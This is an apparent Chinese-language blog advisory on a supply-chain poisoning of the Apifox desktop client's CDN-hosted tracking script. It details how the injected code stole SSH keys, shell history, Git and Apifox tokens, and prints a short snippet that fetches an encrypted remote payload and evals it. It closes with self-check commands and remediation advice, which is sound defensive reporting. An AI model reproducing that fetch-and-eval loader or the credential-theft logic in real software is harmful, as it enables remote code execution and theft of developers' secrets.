紧急自查!Apifox被投毒,使用者速看:你的Git、SSH、云密钥可能已泄露

关注我的公众号:【编程朝花夕拾】,可获取首发内容。

01 引言

近期,国内流行的 API 协作平台 Apifox 遭遇了一起严重的供应链投毒攻击。攻击者通过篡改 CDN 托管的 JavaScript 文件,在官方桌面客户端中植入恶意代码,意图窃取开发者的核心凭证并实施远程控制。

这场攻击从 2026 年 3 月 4 日开始,持续活跃了 18 天,直到 3 月 22 日恶意域名才停止解析。由于 Apifox 被广泛应用于研发团队,此次事件的影响范围极广,Windows、macOS 和 Linux 平台用户均受影响。

02 事件概述

2.1 概述

2026年3月25日,安全研究人员披露了一起针对知名API协作平台Apifox的供应链投毒攻击。攻击者通过篡改Apifox官方CDN托管的JavaScript文件,在桌面端应用中植入了恶意代码,意图窃取开发者的SSH密钥、Git凭证、命令行历史等敏感信息,并具备远程执行任意代码的能力。

此次攻击利用了Apifox基于Electron框架开发的安全缺陷,在未启用沙盒(Sandbox)的情况下,通过网络加载的恶意JS代码获得了本地Node.js环境的完整权限。攻击从2026年3月4日开始,持续至3月22日,共活跃18天。

2.2 过程

Apifox桌面端启动时会加载一个用于事件追踪的JS文件:

hxxps://cdn[.]apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js

正常情况下该文件大小为34KB,但在3月4日之后,用户可能请求到被投毒的版本(77KB)。投毒后的文件在合法SDK代码后追加了约42KB的高度混淆恶意代码。

2.3 核心恶意功能

攻击者在代码中硬编码了一个RSA-2048私钥,用于加密上报的敏感信息和解密C2下发的指令。这一设计失误使得任何获取该代码的人都能解密C2通信,也是本次攻击链得以完整还原的关键。

恶意代码通过MAC地址、CPU型号、主机名、用户主目录、操作系统平台构造唯一标识,经SHA-256哈希后存储在localStorage中。从localStorage读取common.accessToken,调用官方API获取用户邮箱和姓名,经RSA加密后附加到请求头中上报.通过RSA加密的payload解密后直接执行,实现完全的远程代码执行能力。

C2通信与远程代码执行

js 复制代码
const r = await fetch(REMOTE_JS_URL, { headers: h });
const payload = (await r.text()).trim();
const code = rsaDecrypt(payload);
eval(code); // 任意远程代码执行

03 影响范围

3.1 受影响的版本和平台

  • 受影响版本:Apifox SaaS版桌面客户端 2.8.19 以下版本
  • 受影响平台:Windows、macOS、Linux全平台
  • 受影响时间窗口:2026年3月4日至3月22日

3.2 数据窃取的范围

攻击脚本会系统性收集并加密外传以下敏感信息:

  • SSH私钥:利用~/.ssh/id_rsa直接登录服务器
  • Shell命令历史:使用history文件获取泄露明文密码、Token、数据库连接串等
  • Apifox凭证:通过accessToken、userId接管账号,窃取API文档
  • Git凭证:通过Git Token窃取代码仓库

04 自查指南

通过脚本检查:

bash 复制代码
# Windows PowerShell下执行
Select-String -Path "$env:APPDATA\apifox\Local Storage\leveldb\*" -Pattern "rl_mc","rl_headers" -List | Select-Object Path

# macOS 终端下执行
grep -arlE "rl_mc|rl_headers" ~/Library/Application\ Support/apifox/Local\ Storage/leveldb

如果有输出具体文件则可以判定中招,需要及时采取补救措施。

我赶紧查了我的电脑,所幸没有波及。

05 修复处理

  • 版本升级到**2.8.19**及以上
  • 重置凭证
  • 阻断恶意域名

官方也给出了修复建议:

相关推荐
IT_陈寒2 小时前
Redis内存爆了,原来我漏掉了这个致命配置
前端·人工智能·后端
小bo波2 小时前
从"任意文件复制"深挖Java I/O:字符流与字节流的本质抉择
java·nio·io流·后端开发·文件复制
fliter2 小时前
最后一块拼图:用 bitvec 构造 IPv4 包,真正做出自己的 Ping
后端
fliter3 小时前
用 Rust 解析并生成 ICMP 包:checksum、nom 与 cookie-factory
后端
蝎子莱莱爱打怪3 小时前
XZLL-IM干货系列 03|消息 ID 设计:一个 UUID 搞不定的事,我用两个 ID 解决了
后端·面试·开源
fliter3 小时前
从 panic 到 Result:用 Rust 重新整理一个 ping 项目的错误处理
后端
森蓝情丶4 小时前
我给 AI 搭了个法庭:一个前端仔的 LangGraph 实战全记录
前端·后端
JensCS猿4 小时前
从 Spring Boot 回看 SSM 框架:手动挡与自动挡的驾驶哲学
后端
爱勇宝4 小时前
干了近 8 年,一夜之间被裁:AI 时代,程序员最该害怕的不是 AI
前端·后端·程序员